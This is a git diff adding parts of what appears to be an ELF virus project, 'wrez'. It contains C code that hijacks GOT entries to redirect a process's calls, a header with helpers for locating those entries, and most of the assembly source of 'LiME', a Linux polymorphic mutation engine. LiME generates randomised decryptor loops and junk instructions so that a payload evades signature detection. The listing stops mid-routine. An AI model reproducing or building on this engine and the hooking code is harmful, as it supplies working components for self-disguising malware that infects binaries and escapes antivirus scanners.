458 (unsigned int) got_arr[wk],
459 *got_arr[wk]);
460
461 got_malloc = got_arr[0];
462 *got_malloc = (Elf32_Word) my_malloc;
463
464 mysharedfunc (1911);
465#if 0
466 /* replace execve, then try to call execve and then system
467 */
468 *got_execve = (Elf32_Word) my_execve;
469 execve (eargv[0], eargv, NULL);
470 system ("echo \"execve NOT hooked within system() call\"");
471
472 /* swap printf and system GOT entries, that is fun!
473 */
474 *got_printf ^= *got_system;
475 *got_system ^= *got_printf;
476 *got_printf ^= *got_system;
477
478 printf ("echo printf called, system executed;id;uname -a;\n");
479 system ("system called, printf executed\n");
480#endif
481
482 return (0);
483}
484#endif
485
diff --git a/other/wrez/lookup.h b/other/wrez/lookup.h
new file mode 100644
index 0000000..770f57c
--- /dev/null
+++ b/other/wrez/lookup.h
@@ -0,0 +1,77 @@
1
2#ifndef LOOKUP_H
3#define LOOKUP_H
4
5#include <elf.h>
6
7
8/* lib_ismapped
9 *
10 * walk through the list of all mapped libraries and perform a strstr
11 * substring search on the library name with the string `str' as needle.
12 *
13 * example: if (lib_ismapped (0x08048000, "libc.so")) {
14 *
15 * return 0 if the library is not mapped
16 * return 1 if the library is mapped
17 */
18
19int
20lib_ismapped (void *mybase, char *str);
21
22
23/* symbol_resolve
24 *
25 * try to resolve the function symbol with the name `sym_name' within the
26 * current executeable. the base address (first byte of .text, first byte of
27 * first PT_LOAD segment) is needed to locate the tables necessary for the
28 * lookup. it is normally 0x08048000 for a gcc compiled linux binary.
29 *
30 * return pointer to function named `sym_name' on success
31 * return NULL in case of failure (symbol was not found)
32 */
33
34void *
35symbol_resolve (void *mybase, char *sym_name);
36
37
38/* got_funcloc
39 *
40 * try to locate the function `name's got entry address. the executeable base
41 * must be given through `mybase'. this is where the elf header is supposed to
42 * be. the difference of this function to symbol_resolve is that you can only
43 * find functions used by the host program with this one, while symbol_resolve
44 * will locate any mapped one. also, this function returns a pointer to the
45 * GOT address, not the address itself. by changing the GOT entry you can
46 * redirect the execution of the host process. but be advised, that the code
47 * you are redirecting it to has to be mapped.
48 *
49 * return NULL on failure (function not found, insufficient dynamic info)
50 * this is often the case, when the host program does not use the function
51 * return pointer to GOT entry on success. [retval] is the address itself.
52 */
53
54Elf32_Word *
55got_funcloc (void *mybase, char *name);
56
57Elf32_Word *
58got_funcloc_dyn (Elf32_Dyn *dyno, Elf32_Addr loadbase, char *name);
59
60
61/* got_funcloc_array
62 *
63 * build an array of GOT locations through all available link maps. the base
64 * of the current elf is needed (`mybase'). the name of the function symbol
65 * to be resolved is `name', and the array will be put at `darr', where no
66 * more than `darr_len' entries will be put. if `substr' is non-NULL, only
67 * libraries with a full pathname containing `substr' will be processed.
68 *
69 * return the number (< darr_len) of entires stored, 0 for none
70 */
71
72int
73got_funcloc_array (void *mybase, char *name, Elf32_Word *darr[], int darr_len,
74 char *substr);
75
76#endif
77
diff --git a/other/wrez/lookup.o b/other/wrez/lookup.o
new file mode 100644
index 0000000..e421caf
--- /dev/null
+++ b/other/wrez/lookup.o
Binary files differ
diff --git a/other/wrez/obsolete/lime.original.s b/other/wrez/obsolete/lime.original.s
new file mode 100644
index 0000000..12f663a
--- /dev/null
+++ b/other/wrez/obsolete/lime.original.s
@@ -0,0 +1,1332 @@
1
2; ***************************************************************
3; To compile [LiME] under Linux with NASM... Follow as:
4; nasm -f elf lime-gen.s
5; ld -e main lime-gen.o -o lime-gen
6; ***************************************************************
7
8section .data
9global main
10
11; ***************************************************************
12; Linux Mutation Engine (source code)
13; [LiME] Version: 0.2.0 Last update: 2001/02/28
14; Written by zhugejin at Taipei, Taiwan. Date: 2000/10/10
15; E-mail: zhugejin.bbs@bbs.csie.nctu.edu.tw
16; WWW: http://cvex.fsn.net
17; ***************************************************************
18
19; Input:
20; EBX = pointer to memory buffer where LiME will store decryptor
21; and encrypted data
22; ECX = pointer to the data, u want to encrypt
23; EDX = size of data, u want to encrypt
24; EBP = delta offset
25;
26; Output:
27; ECX = address of decryptor+encrypted data
28; EDX = size of decryptor+encrypted data
29
30LIME_BEGIN:
31 dd LIME_SIZE ; size of [LiME]
32
33lime_pre_opcod_tab db 10000000b ; add
34 db 10101000b ; sub
35 db 10110000b ; xor
36 db 10000000b ; add
37
38lime_enc_opcod_tab db 80h,10000000b, 2ah,11000001b ; add/sub
39 db 80h,10101000b, 02h,11000001b ; sub/add
40 db 80h,10110000b, 32h,11000001b ; xor/xor
41 db 82h,10000000b, 2ah,11000001b ; add/sub
42 db 82h,10101000b, 02h,11000001b ; sub/add
43 db 82h,10110000b, 32h,11000001b ; xor/xor
44 db 0c0h,10000000b,0d2h,11001000b ; rol/ror
45 db 0c0h,10001000b,0d2h,11000000b ; ror/rol
46
47 db 0d0h,10000000b,0d0h,11001000b ; rol/ror
48 db 0d0h,10001000b,0d0h,11000000b ; ror/rol
49 db 0f6h,10010000b,0f6h,11010000b ; not/not
50 db 0f6h,10011000b,0f6h,11011000b ; neg/neg
51 db 0feh,10000000b,0feh,11001000b ; inc/dec
52 db 0feh,10001000b,0feh,11000000b ; dec/inc
53
54 db 00h,10000000b, 2ah,11000001b ; add/sub
55 db 28h,10000000b, 02h,11000001b ; sub/add
56 db 30h,10000000b, 32h,11000001b ; xor/xor
57 ;--------------------------------------------
58 db 10h,10000000b, 1ah,11000001b ; adc/sbb
59 db 18h,10000000b, 12h,11000001b ; sbb/adc
60
61 db 80h,10010000b, 1ah,11000001b ; adc/sbb
62 db 80h,10011000b, 12h,11000001b ; sbb/adc
63 db 82h,10010000b, 1ah,11000001b ; adc/sbb
64 db 82h,10011000b, 12h,11000001b ; sbb/adc
65
66lime_zero_reg_opcod_tab db 29h,00011000b ; sub reg,reg
67 db 2bh,00011000b ; sub reg,reg
68 db 31h,00011000b ; xor reg,reg
69 db 33h,00011000b ; xor reg,reg
70lime_init_reg_opcod_tab db 81h,11000000b ; add reg,xxxxxxxx
71 db 81h,11001000b ; or reg,xxxxxxxx
72 db 81h,11110000b ; xor reg,xxxxxxxx
73 db 81h,11000000b ; add reg,xxxxxxxx
74
75;-----------------------------------------------
76LIME_make_tsh_cod dd lime_make_tsh_cod
77LIME_make_noflags_cod dd lime_make_noflags_cod
78LIME_set_disp_reg dd lime_set_disp_reg
79LIME_save_edi dd lime_save_edi
80@ equ $
81LIME_rnd dd lime_rnd
82LIME_rnd_reg dd lime_rnd_reg
83LIME_rnd_al dd lime_rnd_al
84LIME_rnd_eax_and_al dd lime_rnd_eax_and_al
85LIME_rnd_esi dd lime_rnd_esi
86;-----------------------------------------------
87
88lime_add4_reg_opcod_tab db 11000000b,11000000b,04h,-4h ; add/add
89 db 11000000b,11101000b,-4h,04h ; add/sub
90 db 11101000b,11101000b,-4h,04h ; sub/sub
91 db 11101000b,11000000b,04h,-4h ; sub/add
92
93lime_mk_mov_cod_addr dw lime_mmc1-@,lime_mmc2-@,lime_mmc3-@
94lime_mk_inc_cod_addr dw lime_mic1-@,lime_mic2-@,lime_mic3-@
95lime_mk_jxx_cod_addr dw lime_mjc1-@,lime_mjc2-@
96
97lime_mk_tsh_cod_addr dw lime_mtc1-@,lime_mtc2-@,lime_mtc3-@,lime_mtc4-@
98 dw lime_mtc5-@,lime_mtc6-@,lime_mtc7-@,lime_mtc8-@
99 dw lime_mtc9-@
100; dw lime_simd-@
101; dw lime_3dnow-@
102
103jxx_addr dd 0
104ret_addr dd 0
105pre_addr dd 0
106pre_count db 0
107
108lime_rnd_val dd 0
109
110orig_reg db 0
111disp_reg db 0
112temp_reg db 0
113key_reg db 0
114
115 ; +------------> make no-flags code
116 ; |+-----------> *reserved* for SIMD Instruction
117 ; ||+----------> *reserved* for 3DNow! Instruction
118 ; ||| +------> xchg disp_reg with orig_reg
119 ; ||| |
120para_eax db 00000000b ; parameters of LiME
121para_ebx dd 0 ; address of buffer for new decryptor
122para_ecx dd 0 ; begin of code to be decrypted
123para_edx dd 0 ; size of code to be decrypted
124para_ebp dd 0 ; displacement of decryptor
125para_esp dd 0
126
127 ; +--------------------> byte / dword
128 ; |+-------------------> mod := (disp32/disp8)
129 ; ||+------------------> *not used*
130 ; |||+-----------------> *not used*
131 ; ||||+----------------> inc reg / dec reg
132 ; |||||++--------------> *not used*
133 ; |||||||+-------------> clc / stc
134enc_type dd 00000000b
135
136adr_ndx dd 0
137adr_0 dd 0,0,0,0,0,0,0,0
138adr_1 dd 0,0,0,0,0,0,0,0
139adr_2 dd 0,0,0,0,0,0,0,0
140adr_3 dd 0,0,0,0,0,0,0,0
141
142lime_mmx_opcod_tab:
143db 60h, 61h, 62h, 63h, 64h, 65h, 66h, 67h, 68h, 69h, 6ah, 6bh, 6eh, 6fh
144db 74h, 75h, 76h, 6eh, 6fh,0d1h,0d2h,0d3h,0d5h,0d8h,0d9h,0dbh,0dch,0ddh
145db 0dfh,0e1h,0e2h,0e5h,0e8h,0e9h,0ebh,0ech,0edh,0efh,0f1h,0f2h,0f3h,0f5h
146db 0f8h,0f9h,0fah,0fch,0fdh,0feh
147
148; ---------------------------------------------------------------
149
150LIME:
151 pushf
152 cld
153
154 mov edi,ebx
155
156 push ebp
157 call lime_reloc
158lime_reloc:
159 pop ebp
160 sub ebp,lime_reloc-@
161 pop dword [ebp-@+para_ebp]
162 mov [ebp-@+para_ebx],ebx
163 mov [ebp-@+para_ecx],ecx
164 mov [ebp-@+para_edx],edx
165 mov [ebp-@+para_esp],esp
166
167 call lime_make_prefix_decrypt ;
168 mov [ebp-@+pre_addr],esp
169
170 mov al,3
171 call [ebp-@+LIME_rnd_eax_and_al]
172 mov [ebp-@+adr_ndx],eax
173 xchg ecx,eax
174 inc ecx
175 lea esi,[ebp-@+adr_0]
176lime_make_next_decrypt:
177 call lime_make_decrypt ;
178 ror dword [ebp-@+enc_type],8
179 loop lime_make_next_decrypt
180
181 call lime_encrypt ;
182
183 mov ecx,[ebp-@+para_ebx]
184 mov edx,edi
185 sub edx,ecx
186
187 mov esp,[ebp-@+para_esp]
188 popf
189 ret
190
191; ---------------------------------------------------------------
192
193lime_make_prefix_decrypt:
194 pop dword [ebp-@+ret_addr]
195 call [ebp-@+LIME_make_tsh_cod]
196
197 mov al,7
198 call [ebp-@+LIME_rnd_eax_and_al]
199 add al,7
200 mov [ebp-@+pre_count],al
201 xchg ecx,eax
202mk_next_prefix_decrypt:
203 call [ebp-@+LIME_make_tsh_cod]
204 call [ebp-@+LIME_set_disp_reg]
205
206 call lime_make_mov_cod
207 push edi ; p0
208 stosd
209
210 call lime_make_xchg_cod_rnd
211
212 mov al,02h
213 call [ebp-@+LIME_rnd_eax_and_al]
214 add al,81h ; (add/sub/xor) dword [reg+(xxxxxx)xx],xxxxxxxx
215 stosb
216 push eax
217 mov al,03h
218 call [ebp-@+LIME_rnd_al]
219 lea ebx,[ebp-@+lime_pre_opcod_tab]
220 xlatb
221 or al,[ebp-@+disp_reg]
222 stosb
223 pop ebx
224 push edi ; p1
225 call [ebp-@+LIME_rnd]
226 stosd
227 jp lmpd_a1
228 xor byte [edi-05h],11000000b
229 sub edi,byte 03h
230lmpd_a1:
231 call [ebp-@+LIME_rnd]
232 stosd
233 cmp bl,83h
234 jnz lmpd_a2
235 sub edi,byte 03h
236lmpd_a2:
237
238 loop mk_next_prefix_decrypt
239
240 call [ebp-@+LIME_make_tsh_cod]
241 push dword [ebp-@+ret_addr]
242 ret
243
244; ---------------------------------------------------------------
245
246lime_make_decrypt:
247 push ecx
248 call [ebp-@+LIME_make_tsh_cod]
249 call [ebp-@+LIME_set_disp_reg]
250
251; mov al,0cch
252; stosb ; *test*
253
254 call lime_make_mov_cod
255 call [ebp-@+LIME_save_edi] ; a0 = disp value
256 stosd
257
258 call [ebp-@+LIME_make_tsh_cod]
259 call [ebp-@+LIME_rnd]
260 and al,11111001b
261 mov [ebp-@+enc_type],al
262 mov bl,al
263 rol al,1
264 mov ah,al
265 call [ebp-@+LIME_rnd_reg]
266 mov [ebp-@+key_reg],al
267 shl ah,3
268 or al,ah
269 or al,0b0h ; mov reg,key
270 stosb
271 call [ebp-@+LIME_rnd]
272 mov [esi+4*6],eax ; a7 = key
273 stosd
274 test bl,10000000b
275 jnz lmd_a1
276 sub edi,byte 03h
277lmd_a1:
278 call [ebp-@+LIME_rnd]
279 and al,00000010b
280 mov [ebp-@+para_eax],al
281 call lime_make_xchg_cod_rnd
282
283 call [ebp-@+LIME_save_edi] ; a1 = address of loop
284 call [ebp-@+LIME_make_tsh_cod]
285
286 mov al,[ebp-@+disp_reg]
287 mov [ebp-@+orig_reg],al
288
289 push esi
290 lea esi,[ebp-@+lime_enc_opcod_tab]
291 mov al,22
292 call [ebp-@+LIME_rnd_esi]
293 add esi,eax
294 cmp eax,byte 16*2
295 pushf
296 lodsd
297 test bl,10000000b
298 jz lmd_a2
299 or eax,00010001h
300lmd_a2:
301 popf
302 push eax
303 jbe mk_no_cf
304 mov al,bl
305; and al,01h
306 or al,0f8h ; clc / stc
307 stosb
308 call [ebp-@+LIME_make_noflags_cod]
309mk_no_cf:
310 pop eax
311 pop esi
312 mov bh,bl
313 and bh,01000000b
314 sub ah,bh
315 mov [esi],eax ; a2 = decryptic type
316 add esi,byte 04h
317 or ah,[ebp-@+disp_reg]
318 cmp al,40h
319 jae lmd_a3
320 mov dh,[ebp-@+key_reg]
321 rol dh,3
322 or ah,dh
323lmd_a3:
324 stosw ; (add/sub/xor...) (b/w) [reg+(xxxxxx)xx],key
325 xchg edx,eax
326 call [ebp-@+LIME_rnd]
327 jp lmd_a4
328 and byte [edi-01h],11111000b
329 or byte [edi-01h],00000100b
330 and al,11000000b
331 or al,00100000b
332 or al,[ebp-@+disp_reg]
333 stosb
334lmd_a4:
335 call [ebp-@+LIME_save_edi] ; a3 = address of displacement
336 call [ebp-@+LIME_rnd]
337 stosd
338 test bl,01000000b
339 jz lmd_a5
340 sub edi,byte 03h
341lmd_a5:
342 cmp dl,0d0h
343 jae mk_no_val
344 cmp dl,40h
345 jb mk_no_val
346 call [ebp-@+LIME_rnd]
347 and al,7fh
348 stosd
349 cmp dl,81h
350 jz lmd_a6
351 and eax,byte 7fh
352 sub edi,byte 03h
353lmd_a6:
354 mov [esi+4*3],eax ; a7 = key
355mk_no_val:
356
357 call lime_make_xchg_cod_rnd
358 call lime_make_inc_cod ; (inc/dec) reg
359 call lime_make_xchg_cod_rnd
360
361 mov ax,0f881h ; cmp reg,xxxxxxxx
362 or ah,[ebp-@+disp_reg]
363 stosw
364 call lime_aox_eax
365 call [ebp-@+LIME_save_edi] ; a4 = address of "cmp reg,xxxxxxxx"
366 stosd
367
368 call [ebp-@+LIME_make_noflags_cod]
369
370 test byte [ebp-@+para_eax],00000010b
371 jz mk_no_xchg
372 mov al,04h
373 call [ebp-@+LIME_rnd_eax_and_al]
374 add al,87h ; xchg orig_reg,disp_reg
375 stosb
376 mov al,[ebp-@+orig_reg]
377 mov ah,al
378 xchg [ebp-@+disp_reg],al
379 dec edi
380 cmp ah,al
381 jz mk_no_xchg
382 inc edi
383 rol ah,3
384 or al,ah
385 or al,11000000b
386 cmp byte [edi-01h],87h
387 jnz lmd_a7
388 call lime_xchg_reg
389lmd_a7:
390 stosb
391 call [ebp-@+LIME_make_noflags_cod]
392mk_no_xchg:
393 and byte [ebp-@+para_eax],11111101b
394
395 call lime_make_jz_cod ; jxx (xxxxxx)xx
396 call [ebp-@+LIME_save_edi] ; a5 = address of "jxx xx"
397
398 call [ebp-@+LIME_make_noflags_cod]
399
400 mov al,0e9h ; jmp xxxxxxxx
401 stosb
402 mov eax,[esi-5*4] ; address of loop
403 sub eax,edi
404 dec eax
405 cmp eax,byte -80h
406 jae mk_short_jmp
407 sub eax,byte 03h
408 stosd
409 jmp short mk_jmp_end
410mk_short_jmp:
411 mov byte [edi-01h],0ebh ; jmp xx
412 stosb
413mk_jmp_end:
414
415 call lime_rnd_trash
416 call [ebp-@+LIME_save_edi] ; a6
417
418 push esi
419 mov esi,[esi-4*2] ; address of "jxx xx"
420 mov eax,edi
421 sub eax,esi
422 cmp byte [esi-02h],00h
423 jnz mk_jz_a
424 sub esi,byte 03h
425mk_jz_a:
426 mov [esi-01h],al
427 pop esi
428 add esi,byte 04h
429
430 pop ecx
431 ret
432
433; -------------------------------
434; ...
435; mov reg,xxxxxxxx <---- a0
436; ...
437;a1:
438; ...
439; xor [eax+xx],key <---- a7
440; ^^^(a2) ^^a3
441; ...
442; inc eax
443; ...
444; cmp eax,xxxxxxxx <---- a4
445; ...
446; jz a6
447;a5:
448; ...
449; jmp a1
450; ...
451;a6:
452; -------------------------------
453
454; ---------------------------------------------------------------
455
456lime_encrypt:
457 mov ecx,[ebp-@+para_edx]
458 mov esi,[ebp-@+para_ecx]
459 repz movsb
460
461 push edi
462calc_disp:
463 rol dword [ebp-@+enc_type],8
464 mov eax,0aa9090ach
465 test byte [ebp-@+enc_type],10000000b
466 jz le_a1
467 or eax,01000001h
468le_a1:
469 mov [ebp-@+enc_buff-01h],eax
470
471 lea esi,[ebp-@+adr_0]
472 imul ebx,[ebp-@+adr_ndx],byte 4*8
473 lea edx,[esi+ebx]
474 mov eax,edi
475 mov esi,edi
476 sub eax,[edx+4*6]
477 and al,11111100b
478 add eax,byte 04h
479 sub esi,eax
480 mov eax,esi
481
482 sub eax,[ebp-@+para_ebx]
483 add eax,[ebp-@+para_ebp]
484 mov ebx,[edx+4*3]
485 mov ecx,[ebx]
486 test byte [ebp-@+enc_type],01000000b
487 jz le_a2
488 movsx ecx,cl
489le_a2:
490 sub eax,ecx
491 mov ecx,[edx+4*7] ; decryptic value
492
493 test byte [ebp-@+enc_type],00001000b
494 jnz le_a3
495 mov ebx,[edx] ; address of "mov reg,xxxxxxxx"
496 mov [ebx],eax
497 add eax,edi
498 sub eax,esi
499 mov ebx,[edx+4*4] ; address of "cmp reg,xxxxxxxx"
500 jmp short le_a4
501le_a3:
502 mov ebx,[edx+4*4] ; address of "cmp reg,xxxxxxxx"
503 mov [ebx],eax
504 add eax,edi
505 sub eax,esi
506 mov ebx,[edx] ; address of "mov reg,xxxxxxxx"
507le_a4:
508 mov [ebx],eax
509
510; jmp _test1_lime_encrypt ; *test*
511 mov eax,[edx+4*2] ; decryptic type
512 shr eax,16
513 mov [ebp-@+enc_buff],ax
514 mov ebx,edi
515 mov edi,esi
516
517 mov al,[ebp-@+enc_type]
518; and al,1
519 or al,0f8h ; clc / stc
520 mov [ebp-@+enc_buff-02h],al
521
522encrypt_prog:
523 db 90h
524 lodsb ; 0ach
525enc_buff db 90h,90h
526 stosb ; 0aah
527 cmp esi,ebx
528 jb encrypt_prog
529_test1_lime_encrypt:
530
531 cmp byte [ebp-@+adr_ndx],0
532 jz lime_prefix_encrypt
533 dec byte [ebp-@+adr_ndx]
534 jmp calc_disp
535
536; ---------------------------------------------------------------
537
538lime_prefix_encrypt:
539; jmp _test2_lime_encrypt ; *test*
540 movzx ecx,byte [ebp-@+pre_count]
541 mov edi,[ebp-@+pre_addr]
542lpe_next:
543 mov al,1fh
544 call [ebp-@+LIME_rnd_eax_and_al]
545 add eax,[ebp-@+adr_0+4*1] ; address of loop
546 mov ebx,eax
547 sub eax,[ebp-@+para_ebx]
548 add eax,[ebp-@+para_ebp]
549 mov esi,[edi]
550 mov edx,[esi]
551 push esi
552 add esi,byte 04h
553 test byte [esi-05h],01000000b
554 jz lpe_a1
555 movsx edx,dl
556 sub esi,byte 03h
557lpe_a1:
558 sub eax,edx
559 mov edx,[edi+04h]
560 mov [edx],eax
561 add edi,byte 08h
562 mov edx,[esi]
563 pop esi
564 mov eax,[esi-02h]
565 cmp al,83h
566 jnz lpe_a2
567 movsx edx,dl
568lpe_a2:
569 and ah,00111000b
570 jz lpe_sub
571 cmp ah,00101000b
572 jz lpe_add
573 xor [ebx],edx
574 loop lpe_next
575 jmp short lime_encrypt_end
576lpe_sub:
577 sub [ebx],edx
578 loop lpe_next
579 jmp short lime_encrypt_end
580lpe_add:
581 add [ebx],edx
582 loop lpe_next
583_test2_lime_encrypt:
584
585lime_encrypt_end:
586 pop edi
587 call lime_rnd_trash
588 ret
589
590; ---------------------------------------------------------------
591
592lime_set_disp_reg:
593 push edx
594lsdr_l:
595 mov al,111b
596 call [ebp-@+LIME_rnd_al]
597 cmp al,100b
598 jz lsdr_l
599 mov dl,[ebp-@+key_reg]
600 test bl,10000000b
601 jnz lsdr_a
602 and dl,011b
603lsdr_a:
604 cmp al,dl
605 jz lsdr_l
606 cmp al,[ebp-@+disp_reg]
607 jz lsdr_l
608 mov [ebp-@+disp_reg],al
609 mov [ebp-@+temp_reg],al
610 pop edx
611 ret
612
613lime_rnd:
614 push edx
615 rdtsc
616 xor eax,[ebp-@+lime_rnd_val]
617 adc eax,edi
618 neg eax
619 sbb eax,edx
620 rcr eax,1
621 xor [ebp-@+lime_rnd_val],eax
622 pop edx
623 ret
624
625lime_rnd_eax_and_al:
626 push edx
627 movzx edx,al
628 call [ebp-@+LIME_rnd]
629 and eax,edx
630 pop edx
631 ret
632
633lime_rnd_al:
634 push edx
635 mov edx,eax
636lra_l:
637 call [ebp-@+LIME_rnd]
638 cmp al,dl
639 ja lra_l
640 mov dl,al
641 xchg eax,edx
642 pop edx
643 ret
644
645lime_rnd_esi:
646 and eax,byte 07fh
647 call [ebp-@+LIME_rnd_al]
648 add eax,eax
649 add esi,eax
650 ret
651
652lime_rnd_addr:
653 call [ebp-@+LIME_rnd_esi]
654 movzx eax,word [esi]
655 lea esi,[eax+@]
656 ret
657
658lime_save_edi:
659 mov [esi],edi
660 add esi,byte 04h
661 ret
662
663lime_rnd_reg_dd:
664 mov al,01h
665lime_rnd_reg:
666 push ecx
667 push edx
668 xchg edx,eax
669lrr_l:
670 mov al,111b
671 call [ebp-@+LIME_rnd_al]
672 mov ah,al
673 test dl,01h
674 jnz lrr_w
675 and al,011b
676lrr_w:
677 cmp al,100b
678 jz lrr_l
679 cmp al,[ebp-@+disp_reg]
680 jz lrr_l
681 cmp al,[ebp-@+temp_reg]
682 jz lrr_l
683 and al,011b
684 mov cl,[ebp-@+key_reg]
685 and cl,011b
686 cmp al,cl
687 jz lrr_l
688 mov dl,ah
689 xchg eax,edx
690 pop edx
691 pop ecx
692 ret
693
694lime_rnd_trash:
695 push ecx
696 mov al,3
697 call [ebp-@+LIME_rnd_eax_and_al]
698 or al,04h
699 xchg ecx,eax
700lrt_l:
701 call [ebp-@+LIME_rnd]
702 stosb
703 loop lrt_l
704 pop ecx
705 ret
706
707lime_rnd_rm:
708 push edx
709 xor edx,edx
710 mov dl,al
711 mov ah,al
712 rol ah,3
713 mov al,[edi-01h]
714 call [ebp-@+LIME_rnd_reg]
715 or ah,al
716 rol ah,3
717 mov al,[edi-01h]
718 call [ebp-@+LIME_rnd_reg]
719 or al,ah
720 stosb
721 cmp dl,11b
722 jz lrr_a2
723 and al,11000111b
724 push eax
725 cmp eax,edi
726 jp lrr_a1
727 or ah,00000100b
728 mov [edi-01h],ah
729 mov ah,al
730 mov al,0ffh
731 call [ebp-@+LIME_rnd_al]
732 and al,11111000b
733 xor al,ah
734 stosb
735lrr_a1:
736 call [ebp-@+LIME_rnd]
737 stosd
738 pop eax
739 cmp al,00000101b
740 jz lrr_a2
741 cmp dl,10b
742 je lrr_a2
743 sub edi,byte 04h
744 add edi,edx
745lrr_a2:
746 pop edx
747 ret
748
749lime_xchg_reg:
750 push edx
751 cmp eax,edi
752 jp lxr_e
753 and al,00111111b
754 mov edx,eax
755 shr al,3
756 shl dl,3
757 or al,dl
758 or al,11000000b
759lxr_e:
760 pop edx
761 ret
762
763lime_aox_eax:
764 cmp eax,edi
765 jp lae_e
766 test byte [edi-01h],111b
767 jnz lae_e
768 dec edi
769 mov al,[edi]
770 dec edi
771 and al,00111000b
772 or al,00000101b
773 stosb
774lae_e:
775 ret
776
777; ---------------------------------------------------------------
778
779lime_make_mov_cod:
780 push esi
781 lea esi,[ebp-@+lime_mk_mov_cod_addr]
782 mov al,02h
783 call lime_rnd_addr
784 call esi
785 pop esi
786 ret
787lime_mmc1:
788 mov al,0b8h ; mov reg,xxxxxxxx
789 or al,[ebp-@+disp_reg]
790 stosb
791 ret
792lime_mmc2: ; set reg=0 / (add/or/xor) reg,xx
793 lea esi,[ebp-@+lime_zero_reg_opcod_tab]
794 mov al,03h
795 call [ebp-@+LIME_rnd_esi]
796 lodsd
797 or ah,[ebp-@+disp_reg]
798 rol ah,3
799 or ah,[ebp-@+disp_reg]
800 stosw
801 call lime_make_xchg_cod_rnd
802 lea esi,[ebp-@+lime_init_reg_opcod_tab]
803 mov al,03h
804 call [ebp-@+LIME_rnd_esi]
805 lodsd
806 or ah,[ebp-@+disp_reg]
807 stosw
808 call lime_aox_eax
809 ret
810lime_mmc3:
811 mov ax,0a08dh ; lea reg,xxxxxxxx
812 or ah,[ebp-@+disp_reg]
813 rol ah,3
814 stosw
815 ret
816
817lime_make_xchg_cod_rnd:
818 cmp eax,edi
819 jp lime_mxc_e
820 or byte [ebp-@+para_eax],00000010b
821 call [ebp-@+LIME_make_tsh_cod]
822 mov dl,[ebp-@+disp_reg]
823 mov al,07h
824 call [ebp-@+LIME_rnd_eax_and_al]
825 test byte [ebp-@+key_reg],011b
826 jz lime_mxc_a1
827 test al,100b
828 jnz lime_mxc_a6
829lime_mxc_a1:
830 and al,011b
831 test al,01b
832 jz lime_mxc_a4
833 cmp dl,101b
834 jnz lime_mxc_a2
835 and al,01b
836lime_mxc_a2:
837 add al,8ah
838 stosb
839 call [ebp-@+LIME_set_disp_reg]
840 rol al,3
841 or al,dl
842 stosb
843 cmp byte [edi-02h],8dh
844 jz lime_mxc_a3
845 or byte [edi-01h],11000000b
846lime_mxc_a3:
847 jmp short lime_mxc_e
848lime_mxc_a4:
849 add ax,1887h ; mov ah,00011regb
850 stosb
851 or ah,[ebp-@+disp_reg]
852 rol ah,3
853 call [ebp-@+LIME_set_disp_reg]
854 or al,ah
855 cmp byte [edi-01h],87h
856 jnz lime_mxc_a5
857 call lime_xchg_reg
858lime_mxc_a5:
859 stosb
860lime_mxc_e:
861 call [ebp-@+LIME_make_tsh_cod]
862 ret
863lime_mxc_a6:
864 call [ebp-@+LIME_set_disp_reg]
865 cmp dl,000b
866 jz lime_mxc_a7
867 mov al,90h
868 or al,dl
869 mov byte [ebp-@+disp_reg],00h
870 jmp short lime_mxc_a5
871lime_mxc_a7:
872 call [ebp-@+LIME_set_disp_reg]
873 or al,90h
874 jmp short lime_mxc_a5
875
876; ---------------------------------------------------------------
877
878lime_make_inc_cod:
879 push esi
880 lea esi,[ebp-@+lime_mk_inc_cod_addr]
881 mov al,01h
882 call lime_rnd_addr
883 mov al,bl
884 and al,00001000b
885 or al,[ebp-@+disp_reg]
886 test bl,10000000b
887 jz lime_mic_t
888 lea esi,[ebp-@+lime_mic3]
889lime_mic_t:
890 call esi
891 pop esi
892 ret
893lime_mic1:
894 or al,40h ; (inc/dec) reg
895 stosb
896 ret
897lime_mic2:
898 or al,11000000b
899 mov ah,al
900 mov al,0ffh ; (inc/dec) reg
901 stosw
902 ret
903lime_mic3: ; (add/sub) reg,xx / (add/sub) reg,xx
904 mov al,81h
905 stosb
906 lea esi,[ebp-@+lime_add4_reg_opcod_tab]
907 mov al,03h
908 call [ebp-@+LIME_rnd_esi]
909 add esi,eax
910 mov edx,[esi]
911 mov al,dl
912 or al,[ebp-@+disp_reg]
913 stosb
914 call lime_aox_eax
915 call [ebp-@+LIME_rnd]
916 stosd
917 xchg ecx,eax
918 push edx
919 call lime_make_xchg_cod_rnd
920 pop edx
921 mov al,81h
922 stosb
923 mov al,dh
924 or al,[ebp-@+disp_reg]
925 stosb
926 call lime_aox_eax
927 cmp dh,dl
928 jnz lime_mic3_a1
929 neg ecx
930lime_mic3_a1:
931 xchg eax,edx
932 shr eax,16
933 test bl,00001000b
934 jz lime_mic3_a2
935 shr eax,8
936lime_mic3_a2:
937 movsx eax,al
938 add eax,ecx
939 stosd
940 ret
941
942; ---------------------------------------------------------------
943
944lime_make_jz_cod:
945 push esi
946 lea esi,[ebp-@+lime_mk_jxx_cod_addr]
947 mov al,01h
948 call lime_rnd_addr
949 mov al,01h
950 call [ebp-@+LIME_rnd_al]
951 test bl,00001000b
952 call esi
953 pop esi
954 ret
955lime_mjc1:
956 jz lime_mjc1_a
957 mov al,0ffh
958lime_mjc1_a:
959 add al,73h ; jz(ae/b) xx
960 stosw
961 ret
962lime_mjc2:
963 mov ah,al
964 jz lime_mjc2_a
965 mov ah,0ffh
966lime_mjc2_a:
967 add ah,83h ; jz(ae/b) xxxxxxxx
968 mov al,0fh
969 stosw
970 xor eax,eax
971 stosd
972 ret
973
974; ---------------------------------------------------------------
975
976lime_make_noflags_cod:
977 or byte [ebp-@+para_eax],10000000b
978 call [ebp-@+LIME_make_tsh_cod]
979 and byte [ebp-@+para_eax],01111111b
980 ret
981
982lime_make_tsh_cod:
983; ret ; *test*
984 push ebx
985 push ecx
986 push edx
987 push esi
988 mov al,3
989 call [ebp-@+LIME_rnd_eax_and_al]
990 or eax,byte 01h
991 xchg ecx,eax
992lmtc_l:
993 lea esi,[ebp-@+lime_mk_tsh_cod_addr]
994 xor eax,eax
995 mov al,08h
996 test byte [ebp-@+para_eax],10000000b
997 jz lmtc_t1
998 mov al,03h
999lmtc_t1:
1000 call [ebp-@+LIME_rnd_al]
1001 rol eax,1
1002 add esi,eax
1003 movzx eax,word [esi]
1004 lea esi,[eax+@]
1005 call [ebp-@+LIME_rnd]
1006 call esi
1007 mov esi,[ebp-@+jxx_addr]
1008 or esi,esi
1009 jz lmtc_t2
1010 mov eax,edi
1011 sub eax,esi
1012 cmp eax,byte 02h
1013 jbe lmtc_t2
1014 mov [esi-01h],al
